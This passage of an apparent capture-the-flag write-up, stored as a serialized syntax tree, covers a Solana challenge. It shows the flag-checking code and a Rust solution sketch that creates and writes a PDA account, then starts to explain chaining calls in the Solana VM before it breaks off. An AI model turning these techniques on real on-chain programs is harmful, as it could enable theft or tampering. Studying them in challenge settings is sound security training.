0x1337\n",{"type":25,"tag":201,"props":43867,"children":43868},{"class":203,"line":311},[43869,43874,43878,43882,43887,43891,43895,43899,43904,43908,43912,43916,43920,43924,43928,43932,43936,43941,43945],{"type":25,"tag":201,"props":43870,"children":43871},{"style":261},[43872],{"type":31,"value":43873},"        &&",{"type":25,"tag":201,"props":43875,"children":43876},{"style":4925},[43877],{"type":31,"value":7369},{"type":25,"tag":201,"props":43879,"children":43880},{"style":261},[43881],{"type":31,"value":4988},{"type":25,"tag":201,"props":43883,"children":43884},{"style":214},[43885],{"type":31,"value":43886},"from_le_bytes",{"type":25,"tag":201,"props":43888,"children":43889},{"style":220},[43890],{"type":31,"value":298},{"type":25,"tag":201,"props":43892,"children":43893},{"style":246},[43894],{"type":31,"value":43757},{"type":25,"tag":201,"props":43896,"children":43897},{"style":261},[43898],{"type":31,"value":80},{"type":25,"tag":201,"props":43900,"children":43901},{"style":220},[43902],{"type":31,"value":43903},"data[",{"type":25,"tag":201,"props":43905,"children":43906},{"style":261},[43907],{"type":31,"value":4559},{"type":25,"tag":201,"props":43909,"children":43910},{"style":426},[43911],{"type":31,"value":5579},{"type":25,"tag":201,"props":43913,"children":43914},{"style":220},[43915],{"type":31,"value":16907},{"type":25,"tag":201,"props":43917,"children":43918},{"style":261},[43919],{"type":31,"value":80},{"type":25,"tag":201,"props":43921,"children":43922},{"style":214},[43923],{"type":31,"value":27646},{"type":25,"tag":201,"props":43925,"children":43926},{"style":220},[43927],{"type":31,"value":15381},{"type":25,"tag":201,"props":43929,"children":43930},{"style":261},[43931],{"type":31,"value":80},{"type":25,"tag":201,"props":43933,"children":43934},{"style":214},[43935],{"type":31,"value":5170},{"type":25,"tag":201,"props":43937,"children":43938},{"style":220},[43939],{"type":31,"value":43940},"()) ",{"type":25,"tag":201,"props":43942,"children":43943},{"style":261},[43944],{"type":31,"value":10083},{"type":25,"tag":201,"props":43946,"children":43947},{"style":426},[43948],{"type":31,"value":43949}," 0x4337\n",{"type":25,"tag":201,"props":43951,"children":43952},{"class":203,"line":330},[43953],{"type":25,"tag":201,"props":43954,"children":43955},{"style":220},[43956],{"type":31,"value":30670},{"type":25,"tag":201,"props":43958,"children":43959},{"class":203,"line":397},[43960,43965,43969,43973,43977,43982,43986,43990],{"type":25,"tag":201,"props":43961,"children":43962},{"style":214},[43963],{"type":31,"value":43964},"        writeln!",{"type":25,"tag":201,"props":43966,"children":43967},{"style":220},[43968],{"type":31,"value":298},{"type":25,"tag":201,"props":43970,"children":43971},{"style":246},[43972],{"type":31,"value":43010},{"type":25,"tag":201,"props":43974,"children":43975},{"style":220},[43976],{"type":31,"value":919},{"type":25,"tag":201,"props":43978,"children":43979},{"style":267},[43980],{"type":31,"value":43981},"\"congrats!\"",{"type":25,"tag":201,"props":43983,"children":43984},{"style":220},[43985],{"type":31,"value":3073},{"type":25,"tag":201,"props":43987,"children":43988},{"style":261},[43989],{"type":31,"value":4661},{"type":25,"tag":201,"props":43991,"children":43992},{"style":220},[43993],{"type":31,"value":461},{"type":25,"tag":201,"props":43995,"children":43996},{"class":203,"line":437},[43997,44001,44005,44010,44014,44018,44022,44026,44031,44035,44039,44043,44047],{"type":25,"tag":201,"props":43998,"children":43999},{"style":230},[44000],{"type":31,"value":4779},{"type":25,"tag":201,"props":44002,"children":44003},{"style":208},[44004],{"type":31,"value":28789},{"type":25,"tag":201,"props":44006,"children":44007},{"style":4925},[44008],{"type":31,"value":44009}," Ok",{"type":25,"tag":201,"props":44011,"children":44012},{"style":220},[44013],{"type":31,"value":298},{"type":25,"tag":201,"props":44015,"children":44016},{"style":246},[44017],{"type":31,"value":43804},{"type":25,"tag":201,"props":44019,"children":44020},{"style":220},[44021],{"type":31,"value":385},{"type":25,"tag":201,"props":44023,"children":44024},{"style":261},[44025],{"type":31,"value":1383},{"type":25,"tag":201,"props":44027,"children":44028},{"style":220},[44029],{"type":31,"value":44030}," env",{"type":25,"tag":201,"props":44032,"children":44033},{"style":261},[44034],{"type":31,"value":4988},{"type":25,"tag":201,"props":44036,"children":44037},{"style":214},[44038],{"type":31,"value":3990},{"type":25,"tag":201,"props":44040,"children":44041},{"style":220},[44042],{"type":31,"value":298},{"type":25,"tag":201,"props":44044,"children":44045},{"style":267},[44046],{"type":31,"value":43695},{"type":25,"tag":201,"props":44048,"children":44049},{"style":220},[44050],{"type":31,"value":275},{"type":25,"tag":201,"props":44052,"children":44053},{"class":203,"line":464},[44054,44059,44063,44067,44071,44076,44080,44084,44088,44092],{"type":25,"tag":201,"props":44055,"children":44056},{"style":214},[44057],{"type":31,"value":44058},"            writeln!",{"type":25,"tag":201,"props":44060,"children":44061},{"style":220},[44062],{"type":31,"value":298},{"type":25,"tag":201,"props":44064,"children":44065},{"style":246},[44066],{"type":31,"value":43010},{"type":25,"tag":201,"props":44068,"children":44069},{"style":220},[44070],{"type":31,"value":919},{"type":25,"tag":201,"props":44072,"children":44073},{"style":267},[44074],{"type":31,"value":44075},"\"flag: {:?}\"",{"type":25,"tag":201,"props":44077,"children":44078},{"style":220},[44079],{"type":31,"value":919},{"type":25,"tag":201,"props":44081,"children":44082},{"style":246},[44083],{"type":31,"value":43804},{"type":25,"tag":201,"props":44085,"children":44086},{"style":220},[44087],{"type":31,"value":3073},{"type":25,"tag":201,"props":44089,"children":44090},{"style":261},[44091],{"type":31,"value":4661},{"type":25,"tag":201,"props":44093,"children":44094},{"style":220},[44095],{"type":31,"value":461},{"type":25,"tag":201,"props":44097,"children":44098},{"class":203,"line":490},[44099,44103,44107],{"type":25,"tag":201,"props":44100,"children":44101},{"style":220},[44102],{"type":31,"value":4817},{"type":25,"tag":201,"props":44104,"children":44105},{"style":230},[44106],{"type":31,"value":322},{"type":25,"tag":201,"props":44108,"children":44109},{"style":220},[44110],{"type":31,"value":327},{"type":25,"tag":201,"props":44112,"children":44113},{"class":203,"line":499},[44114,44118,44122,44126,44130,44135,44139,44143],{"type":25,"tag":201,"props":44115,"children":44116},{"style":214},[44117],{"type":31,"value":44058},{"type":25,"tag":201,"props":44119,"children":44120},{"style":220},[44121],{"type":31,"value":298},{"type":25,"tag":201,"props":44123,"children":44124},{"style":246},[44125],{"type":31,"value":43010},{"type":25,"tag":201,"props":44127,"children":44128},{"style":220},[44129],{"type":31,"value":919},{"type":25,"tag":201,"props":44131,"children":44132},{"style":267},[44133],{"type":31,"value":44134},"\"flag not found, please contact admin\"",{"type":25,"tag":201,"props":44136,"children":44137},{"style":220},[44138],{"type":31,"value":3073},{"type":25,"tag":201,"props":44140,"children":44141},{"style":261},[44142],{"type":31,"value":4661},{"type":25,"tag":201,"props":44144,"children":44145},{"style":220},[44146],{"type":31,"value":461},{"type":25,"tag":201,"props":44148,"children":44149},{"class":203,"line":522},[44150],{"type":25,"tag":201,"props":44151,"children":44152},{"style":220},[44153],{"type":31,"value":4853},{"type":25,"tag":201,"props":44155,"children":44156},{"class":203,"line":531},[44157],{"type":25,"tag":201,"props":44158,"children":44159},{"style":220},[44160],{"type":31,"value":4861},{"type":25,"tag":201,"props":44162,"children":44163},{"class":203,"line":550},[44164],{"type":25,"tag":201,"props":44165,"children":44166},{"style":220},[44167],{"type":31,"value":1187},{"type":25,"tag":26,"props":44169,"children":44171},{"id":44170},"solution-idea",[44172],{"type":31,"value":44173},"Solution Idea",{"type":25,"tag":34,"props":44175,"children":44176},{},[44177,44179,44184],{"type":31,"value":44178},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":25,"tag":115,"props":44180,"children":44182},{"className":44181},[],[44183],{"type":31,"value":36751},{"type":31,"value":44185}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":25,"tag":34,"props":44187,"children":44188},{},[44189,44191,44197],{"type":31,"value":44190},"In order to get the flag, we need to make sure that the account at ",{"type":25,"tag":115,"props":44192,"children":44194},{"className":44193},[],[44195],{"type":31,"value":44196},"PDA(\"FLAG\")",{"type":31,"value":44198}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":25,"tag":34,"props":44200,"children":44201},{},[44202,44204,44211],{"type":31,"value":44203},"Essentially, we need to ",{"type":25,"tag":71,"props":44205,"children":44208},{"href":44206,"rel":44207},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[75],[44209],{"type":31,"value":44210},"invoke the System Program",{"type":31,"value":44212},", and write controlled data into the newly created account.",{"type":25,"tag":34,"props":44214,"children":44215},{},[44216],{"type":31,"value":44217},"A sample program that does this is as follows:",{"type":25,"tag":191,"props":44219,"children":44221},{"className":4487,"code":44220,"language":4486,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[44222],{"type":25,"tag":115,"props":44223,"children":44224},{"__ignoreMap":7},[44225,44245,44269,44297,44325,44345,44381,44417,44424,44432,44465,44482,44507,44528,44580,44605,44612,44625,44671,44715,44723,44731,44742,44758,44769,44789,44809,44816,44852,44867,44874,44882,44961,44968,44979],{"type":25,"tag":201,"props":44226,"children":44227},{"class":203,"line":204},[44228,44232,44236,44241],{"type":25,"tag":201,"props":44229,"children":44230},{"style":208},[44231],{"type":31,"value":15192},{"type":25,"tag":201,"props":44233,"children":44234},{"style":208},[44235],{"type":31,"value":15197},{"type":25,"tag":201,"props":44237,"children":44238},{"style":214},[44239],{"type":31,"value":44240}," process_instruction",{"type":25,"tag":201,"props":44242,"children":44243},{"style":220},[44244],{"type":31,"value":4970},{"type":25,"tag":201,"props":44246,"children":44247},{"class":203,"line":226},[44248,44253,44257,44261,44265],{"type":25,"tag":201,"props":44249,"children":44250},{"style":246},[44251],{"type":31,"value":44252},"    program_id",{"type":25,"tag":201,"props":44254,"children":44255},{"style":261},[44256],{"type":31,"value":5997},{"type":25,"tag":201,"props":44258,"children":44259},{"style":261},[44260],{"type":31,"value":8650},{"type":25,"tag":201,"props":44262,"children":44263},{"style":4925},[44264],{"type":31,"value":22893},{"type":25,"tag":201,"props":44266,"children":44267},{"style":220},[44268],{"type":31,"value":547},{"type":25,"tag":201,"props":44270,"children":44271},{"class":203,"line":278},[44272,44277,44281,44285,44289,44293],{"type":25,"tag":201,"props":44273,"children":44274},{"style":246},[44275],{"type":31,"value":44276},"    accounts",{"type":25,"tag":201,"props":44278,"children":44279},{"style":261},[44280],{"type":31,"value":5997},{"type":25,"tag":201,"props":44282,"children":44283},{"style":261},[44284],{"type":31,"value":8650},{"type":25,"tag":201,"props":44286,"children":44287},{"style":220},[44288],{"type":31,"value":423},{"type":25,"tag":201,"props":44290,"children":44291},{"style":4925},[44292],{"type":31,"value":16437},{"type":25,"tag":201,"props":44294,"children":44295},{"style":220},[44296],{"type":31,"value":15765},{"type":25,"tag":201,"props":44298,"children":44299},{"class":203,"line":311},[44300,44305,44309,44313,44317,44321],{"type":25,"tag":201,"props":44301,"children":44302},{"style":246},[44303],{"type":31,"value":44304},"    data",{"type":25,"tag":201,"props":44306,"children":44307},{"style":261},[44308],{"type":31,"value":5997},{"type":25,"tag":201,"props":44310,"children":44311},{"style":261},[44312],{"type":31,"value":8650},{"type":25,"tag":201,"props":44314,"children":44315},{"style":220},[44316],{"type":31,"value":423},{"type":25,"tag":201,"props":44318,"children":44319},{"style":4925},[44320],{"type":31,"value":4928},{"type":25,"tag":201,"props":44322,"children":44323},{"style":220},[44324],{"type":31,"value":13274},{"type":25,"tag":201,"props":44326,"children":44327},{"class":203,"line":330},[44328,44332,44336,44341],{"type":25,"tag":201,"props":44329,"children":44330},{"style":220},[44331],{"type":31,"value":385},{"type":25,"tag":201,"props":44333,"children":44334},{"style":261},[44335],{"type":31,"value":15259},{"type":25,"tag":201,"props":44337,"children":44338},{"style":4925},[44339],{"type":31,"value":44340}," ProgramResult",{"type":25,"tag":201,"props":44342,"children":44343},{"style":220},[44344],{"type":31,"value":327},{"type":25,"tag":201,"props":44346,"children":44347},{"class":203,"line":397},[44348,44352,44357,44361,44365,44369,44373,44377],{"type":25,"tag":201,"props":44349,"children":44350},{"style":208},[44351],{"type":31,"value":4508},{"type":25,"tag":201,"props":44353,"children":44354},{"style":246},[44355],{"type":31,"value":44356}," flag_pda_ai",{"type":25,"tag":201,"props":44358,"children":44359},{"style":261},[44360],{"type":31,"value":413},{"type":25,"tag":201,"props":44362,"children":44363},{"style":261},[44364],{"type":31,"value":8650},{"type":25,"tag":201,"props":44366,"children":44367},{"style":246},[44368],{"type":31,"value":380},{"type":25,"tag":201,"props":44370,"children":44371},{"style":220},[44372],{"type":31,"value":423},{"type":25,"tag":201,"props":44374,"children":44375},{"style":426},[44376],{"type":31,"value":429},{"type":25,"tag":201,"props":44378,"children":44379},{"style":220},[44380],{"type":31,"value":434},{"type":25,"tag":201,"props":44382,"children":44383},{"class":203,"line":437},[44384,44388,44393,44397,44401,44405,44409,44413],{"type":25,"tag":201,"props":44385,"children":44386},{"style":208},[44387],{"type":31,"value":4508},{"type":25,"tag":201,"props":44389,"children":44390},{"style":246},[44391],{"type":31,"value":44392}," user_ai",{"type":25,"tag":201,"props":44394,"children":44395},{"style":261},[44396],{"type":31,"value":413},{"type":25,"tag":201,"props":44398,"children":44399},{"style":261},[44400],{"type":31,"value":8650},{"type":25,"tag":201,"props":44402,"children":44403},{"style":246},[44404],{"type":31,"value":380},{"type":25,"tag":201,"props":44406,"children":44407},{"style":220},[44408],{"type":31,"value":423},{"type":25,"tag":201,"props":44410,"children":44411},{"style":426},[44412],{"type":31,"value":5516},{"type":25,"tag":201,"props":44414,"children":44415},{"style":220},[44416],{"type":31,"value":434},{"type":25,"tag":201,"props":44418,"children":44419},{"class":203,"line":464},[44420],{"type":25,"tag":201,"props":44421,"children":44422},{"emptyLinePlaceholder":17},[44423],{"type":31,"value":496},{"type":25,"tag":201,"props":44425,"children":44426},{"class":203,"line":490},[44427],{"type":25,"tag":201,"props":44428,"children":44429},{"style":4497},[44430],{"type":31,"value":44431},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":25,"tag":201,"props":44433,"children":44434},{"class":203,"line":499},[44435,44439,44444,44448,44452,44456,44461],{"type":25,"tag":201,"props":44436,"children":44437},{"style":208},[44438],{"type":31,"value":4508},{"type":25,"tag":201,"props":44440,"children":44441},{"style":246},[44442],{"type":31,"value":44443}," instruction",{"type":25,"tag":201,"props":44445,"children":44446},{"style":261},[44447],{"type":31,"value":413},{"type":25,"tag":201,"props":44449,"children":44450},{"style":4925},[44451],{"type":31,"value":42083},{"type":25,"tag":201,"props":44453,"children":44454},{"style":261},[44455],{"type":31,"value":4988},{"type":25,"tag":201,"props":44457,"children":44458},{"style":214},[44459],{"type":31,"value":44460},"new_with_bincode",{"type":25,"tag":201,"props":44462,"children":44463},{"style":220},[44464],{"type":31,"value":4970},{"type":25,"tag":201,"props":44466,"children":44467},{"class":203,"line":522},[44468,44473,44477],{"type":25,"tag":201,"props":44469,"children":44470},{"style":220},[44471],{"type":31,"value":44472},"        system_program",{"type":25,"tag":201,"props":44474,"children":44475},{"style":261},[44476],{"type":31,"value":4988},{"type":25,"tag":201,"props":44478,"children":44479},{"style":220},[44480],{"type":31,"value":44481},"ID,\n",{"type":25,"tag":201,"props":44483,"children":44484},{"class":203,"line":531},[44485,44489,44494,44498,44503],{"type":25,"tag":201,"props":44486,"children":44487},{"style":261},[44488],{"type":31,"value":4978},{"type":25,"tag":201,"props":44490,"children":44491},{"style":220},[44492],{"type":31,"value":44493},"SystemInstruction",{"type":25,"tag":201,"props":44495,"children":44496},{"style":261},[44497],{"type":31,"value":4988},{"type":25,"tag":201,"props":44499,"children":44500},{"style":4925},[44501],{"type":31,"value":44502},"CreateAccount",{"type":25,"tag":201,"props":44504,"children":44505},{"style":220},[44506],{"type":31,"value":327},{"type":25,"tag":201,"props":44508,"children":44509},{"class":203,"line":550},[44510,44515,44519,44524],{"type":25,"tag":201,"props":44511,"children":44512},{"style":246},[44513],{"type":31,"value":44514},"            space",{"type":25,"tag":201,"props":44516,"children":44517},{"style":261},[44518],{"type":31,"value":5997},{"type":25,"tag":201,"props":44520,"children":44521},{"style":426},[44522],{"type":31,"value":44523}," 0x1337",{"type":25,"tag":201,"props":44525,"children":44526},{"style":220},[44527],{"type":31,"value":547},{"type":25,"tag":201,"props":44529,"children":44530},{"class":203,"line":563},[44531,44536,44540,44545,44549,44554,44558,44562,44567,44571,44576],{"type":25,"tag":201,"props":44532,"children":44533},{"style":246},[44534],{"type":31,"value":44535},"            lamports",{"type":25,"tag":201,"props":44537,"children":44538},{"style":261},[44539],{"type":31,"value":5997},{"type":25,"tag":201,"props":44541,"children":44542},{"style":220},[44543],{"type":31,"value":44544}," Rent",{"type":25,"tag":201,"props":44546,"children":44547},{"style":261},[44548],{"type":31,"value":4988},{"type":25,"tag":201,"props":44550,"children":44551},{"style":214},[44552],{"type":31,"value":44553},"default",{"type":25,"tag":201,"props":44555,"children":44556},{"style":220},[44557],{"type":31,"value":15381},{"type":25,"tag":201,"props":44559,"children":44560},{"style":261},[44561],{"type":31,"value":80},{"type":25,"tag":201,"props":44563,"children":44564},{"style":214},[44565],{"type":31,"value":44566},"minimum_balance",{"type":25,"tag":201,"props":44568,"children":44569},{"style":220},[44570],{"type":31,"value":298},{"type":25,"tag":201,"props":44572,"children":44573},{"style":426},[44574],{"type":31,"value":44575},"0x1337",{"type":25,"tag":201,"props":44577,"children":44578},{"style":220},[44579],{"type":31,"value":8245},{"type":25,"tag":201,"props":44581,"children":44582},{"class":203,"line":572},[44583,44588,44592,44596,44600],{"type":25,"tag":201,"props":44584,"children":44585},{"style":246},[44586],{"type":31,"value":44587},"            owner",{"type":25,"tag":201,"props":44589,"children":44590},{"style":261},[44591],{"type":31,"value":5997},{"type":25,"tag":201,"props":44593,"children":44594},{"style":220},[44595],{"type":31,"value":43115},{"type":25,"tag":201,"props":44597,"children":44598},{"style":261},[44599],{"type":31,"value":4988},{"type":25,"tag":201,"props":44601,"children":44602},{"style":220},[44603],{"type":31,"value":44604},"ID\n",{"type":25,"tag":201,"props":44606,"children":44607},{"class":203,"line":590},[44608],{"type":25,"tag":201,"props":44609,"children":44610},{"style":220},[44611],{"type":31,"value":789},{"type":25,"tag":201,"props":44613,"children":44614},{"class":203,"line":608},[44615,44620],{"type":25,"tag":201,"props":44616,"children":44617},{"style":214},[44618],{"type":31,"value":44619},"        vec!",{"type":25,"tag":201,"props":44621,"children":44622},{"style":220},[44623],{"type":31,"value":44624},"[\n",{"type":25,"tag":201,"props":44626,"children":44627},{"class":203,"line":617},[44628,44633,44637,44641,44645,44649,44654,44658,44663,44667],{"type":25,"tag":201,"props":44629,"children":44630},{"style":220},[44631],{"type":31,"value":44632},"            AccountMeta",{"type":25,"tag":201,"props":44634,"children":44635},{"style":261},[44636],{"type":31,"value":4988},{"type":25,"tag":201,"props":44638,"children":44639},{"style":214},[44640],{"type":31,"value":1911},{"type":25,"tag":201,"props":44642,"children":44643},{"style":220},[44644],{"type":31,"value":298},{"type":25,"tag":201,"props":44646,"children":44647},{"style":261},[44648],{"type":31,"value":6077},{"type":25,"tag":201,"props":44650,"children":44651},{"style":246},[44652],{"type":31,"value":44653},"user_ai",{"type":25,"tag":201,"props":44655,"children":44656},{"style":261},[44657],{"type":31,"value":80},{"type":25,"tag":201,"props":44659,"children":44660},{"style":220},[44661],{"type":31,"value":44662},"key, ",{"type":25,"tag":201,"props":44664,"children":44665},{"style":208},[44666],{"type":31,"value":5497},{"type":25,"tag":201,"props":44668,"children":44669},{"style":220},[44670],{"type":31,"value":8245},{"type":25,"tag":201,"props":44672,"children":44673},{"class":203,"line":625},[44674,44678,44682,44686,44690,44694,44699,44703,44707,44711],{"type":25,"tag":201,"props":44675,"children":44676},{"style":220},[44677],{"type":31,"value":44632},{"type":25,"tag":201,"props":44679,"children":44680},{"style":261},[44681],{"type":31,"value":4988},{"type":25,"tag":201,"props":44683,"children":44684},{"style":214},[44685],{"type":31,"value":1911},{"type":25,"tag":201,"props":44687,"children":44688},{"style":220},[44689],{"type":31,"value":298},{"type":25,"tag":201,"props":44691,"children":44692},{"style":261},[44693],{"type":31,"value":6077},{"type":25,"tag":201,"props":44695,"children":44696},{"style":246},[44697],{"type":31,"value":44698},"flag_pda_ai",{"type":25,"tag":201,"props":44700,"children":44701},{"style":261},[44702],{"type":31,"value":80},{"type":25,"tag":201,"props":44704,"children":44705},{"style":220},[44706],{"type":31,"value":44662},{"type":25,"tag":201,"props":44708,"children":44709},{"style":208},[44710],{"type":31,"value":5497},{"type":25,"tag":201,"props":44712,"children":44713},{"style":220},[44714],{"type":31,"value":8245},{"type":25,"tag":201,"props":44716,"children":44717},{"class":203,"line":642},[44718],{"type":25,"tag":201,"props":44719,"children":44720},{"style":220},[44721],{"type":31,"value":44722},"        ],\n",{"type":25,"tag":201,"props":44724,"children":44725},{"class":203,"line":659},[44726],{"type":25,"tag":201,"props":44727,"children":44728},{"style":220},[44729],{"type":31,"value":44730},"    );\n",{"type":25,"tag":201,"props":44732,"children":44733},{"class":203,"line":667},[44734,44738],{"type":25,"tag":201,"props":44735,"children":44736},{"style":214},[44737],{"type":31,"value":42200},{"type":25,"tag":201,"props":44739,"children":44740},{"style":220},[44741],{"type":31,"value":4970},{"type":25,"tag":201,"props":44743,"children":44744},{"class":203,"line":676},[44745,44749,44754],{"type":25,"tag":201,"props":44746,"children":44747},{"style":261},[44748],{"type":31,"value":4978},{"type":25,"tag":201,"props":44750,"children":44751},{"style":246},[44752],{"type":31,"value":44753},"instruction",{"type":25,"tag":201,"props":44755,"children":44756},{"style":220},[44757],{"type":31,"value":547},{"type":25,"tag":201,"props":44759,"children":44760},{"class":203,"line":694},[44761,44765],{"type":25,"tag":201,"props":44762,"children":44763},{"style":261},[44764],{"type":31,"value":4978},{"type":25,"tag":201,"props":44766,"children":44767},{"style":220},[44768],{"type":31,"value":44624},{"type":25,"tag":201,"props":44770,"children":44771},{"class":203,"line":707},[44772,44777,44781,44785],{"type":25,"tag":201,"props":44773,"children":44774},{"style":246},[44775],{"type":31,"value":44776},"            user_ai",{"type":25,"tag":201,"props":44778,"children":44779},{"style":261},[44780],{"type":31,"value":80},{"type":25,"tag":201,"props":44782,"children":44783},{"style":214},[44784],{"type":31,"value":16916},{"type":25,"tag":201,"props":44786,"children":44787},{"style":220},[44788],{"type":31,"value":1104},{"type":25,"tag":201,"props":44790,"children":44791},{"class":203,"line":715},[44792,44797,44801,44805],{"type":25,"tag":201,"props":44793,"children":44794},{"style":246},[44795],{"type":31,"value":44796},"            flag_pda_ai",{"type":25,"tag":201,"props":44798,"children":44799},{"style":261},[44800],{"type":31,"value":80},{"type":25,"tag":201,"props":44802,"children":44803},{"style":214},[44804],{"type":31,"value":16916},{"type":25,"tag":201,"props":44806,"children":44807},{"style":220},[44808],{"type":31,"value":1104},{"type":25,"tag":201,"props":44810,"children":44811},{"class":203,"line":732},[44812],{"type":25,"tag":201,"props":44813,"children":44814},{"style":220},[44815],{"type":31,"value":44722},{"type":25,"tag":201,"props":44817,"children":44818},{"class":203,"line":749},[44819,44823,44827,44831,44835,44839,44843,44847],{"type":25,"tag":201,"props":44820,"children":44821},{"style":261},[44822],{"type":31,"value":4978},{"type":25,"tag":201,"props":44824,"children":44825},{"style":220},[44826],{"type":31,"value":423},{"type":25,"tag":201,"props":44828,"children":44829},{"style":261},[44830],{"type":31,"value":4615},{"type":25,"tag":201,"props":44832,"children":44833},{"style":220},[44834],{"type":31,"value":423},{"type":25,"tag":201,"props":44836,"children":44837},{"style":267},[44838],{"type":31,"value":43695},{"type":25,"tag":201,"props":44840,"children":44841},{"style":261},[44842],{"type":31,"value":80},{"type":25,"tag":201,"props":44844,"children":44845},{"style":214},[44846],{"type":31,"value":43704},{"type":25,"tag":201,"props":44848,"children":44849},{"style":220},[44850],{"type":31,"value":44851},"()]],\n",{"type":25,"tag":201,"props":44853,"children":44854},{"class":203,"line":757},[44855,44859,44863],{"type":25,"tag":201,"props":44856,"children":44857},{"style":220},[44858],{"type":31,"value":5161},{"type":25,"tag":201,"props":44860,"children":44861},{"style":261},[44862],{"type":31,"value":4661},{"type":25,"tag":201,"props":44864,"children":44865},{"style":220},[44866],{"type":31,"value":461},{"type":25,"tag":201,"props":44868,"children":44869},{"class":203,"line":765},[44870],{"type":25,"tag":201,"props":44871,"children":44872},{"emptyLinePlaceholder":17},[44873],{"type":31,"value":496},{"type":25,"tag":201,"props":44875,"children":44876},{"class":203,"line":783},[44877],{"type":25,"tag":201,"props":44878,"children":44879},{"style":4497},[44880],{"type":31,"value":44881},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":25,"tag":201,"props":44883,"children":44884},{"class":203,"line":792},[44885,44890,44894,44898,44902,44906,44910,44914,44918,44922,44926,44931,44935,44939,44944,44948,44952,44957],{"type":25,"tag":201,"props":44886,"children":44887},{"style":246},[44888],{"type":31,"value":44889},"    flag_pda_ai",{"type":25,"tag":201,"props":44891,"children":44892},{"style":261},[44893],{"type":31,"value":80},{"type":25,"tag":201,"props":44895,"children":44896},{"style":214},[44897],{"type":31,"value":15376},{"type":25,"tag":201,"props":44899,"children":44900},{"style":220},[44901],{"type":31,"value":15381},{"type":25,"tag":201,"props":44903,"children":44904},{"style":261},[44905],{"type":31,"value":4661},{"type":25,"tag":201,"props":44907,"children":44908},{"style":220},[44909],{"type":31,"value":423},{"type":25,"tag":201,"props":44911,"children":44912},{"style":261},[44913],{"type":31,"value":4559},{"type":25,"tag":201,"props":44915,"children":44916},{"style":426},[44917],{"type":31,"value":5579},{"type":25,"tag":201,"props":44919,"children":44920},{"style":220},[44921],{"type":31,"value":16907},{"type":25,"tag":201,"props":44923,"children":44924},{"style":261},[44925],{"type":31,"value":80},{"type":25,"tag":201,"props":44927,"children":44928},{"style":214},[44929],{"type":31,"value":44930},"copy_from_slice",{"type":25,"tag":201,"props":44932,"children":44933},{"style":220},[44934],{"type":31,"value":298},{"type":25,"tag":201,"props":44936,"children":44937},{"style":261},[44938],{"type":31,"value":4615},{"type":25,"tag":201,"props":44940,"children":44941},{"style":426},[44942],{"type":31,"value":44943},"0x4337",{"type":25,"tag":201,"props":44945,"children":44946},{"style":4925},[44947],{"type":31,"value":9551},{"type":25,"tag":201,"props":44949,"children":44950},{"style":261},[44951],{"type":31,"value":80},{"type":25,"tag":201,"props":44953,"children":44954},{"style":214},[44955],{"type":31,"value":44956},"to_le_bytes",{"type":25,"tag":201,"props":44958,"children":44959},{"style":220},[44960],{"type":31,"value":16921},{"type":25,"tag":201,"props":44962,"children":44963},{"class":203,"line":801},[44964],{"type":25,"tag":201,"props":44965,"children":44966},{"emptyLinePlaceholder":17},[44967],{"type":31,"value":496},{"type":25,"tag":201,"props":44969,"children":44970},{"class":203,"line":809},[44971,44975],{"type":25,"tag":201,"props":44972,"children":44973},{"style":4925},[44974],{"type":31,"value":15835},{"type":25,"tag":201,"props":44976,"children":44977},{"style":220},[44978],{"type":31,"value":15840},{"type":25,"tag":201,"props":44980,"children":44981},{"class":203,"line":857},[44982],{"type":25,"tag":201,"props":44983,"children":44984},{"style":220},[44985],{"type":31,"value":1187},{"type":25,"tag":34,"props":44987,"children":44988},{},[44989],{"type":31,"value":44990},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":25,"tag":34,"props":44992,"children":44993},{},[44994],{"type":25,"tag":127,"props":44995,"children":44998},{"alt":44996,"src":44997},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":25,"tag":34,"props":45000,"children":45001},{},[45002],{"type":31,"value":45003},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":25,"tag":26,"props":45005,"children":45007},{"id":45006},"solution-implementation",[45008],{"type":31,"value":45009},"Solution Implementation",{"type":25,"tag":34,"props":45011,"children":45012},{},[45013,45015,45020],{"type":31,"value":45014},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":25,"tag":115,"props":45016,"children":45018},{"className":45017},[],[45019],{"type":31,"value":36751},{"type":31,"value":45021}," invocations:",{"type":25,"tag":191,"props":45023,"children":45027},{"className":45024,"code":45025,"language":45026,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[45028],{"type":25,"tag":115,"props":45029,"children":45030},{"__ignoreMap":7},[45031,45039,45047,45055,45063,45071,45079],{"type":25,"tag":201,"props":45032,"children":45033},{"class":203,"line":204},[45034],{"type":25,"tag":201,"props":45035,"children":45036},{},[45037],{"type":31,"value":45038},"graph 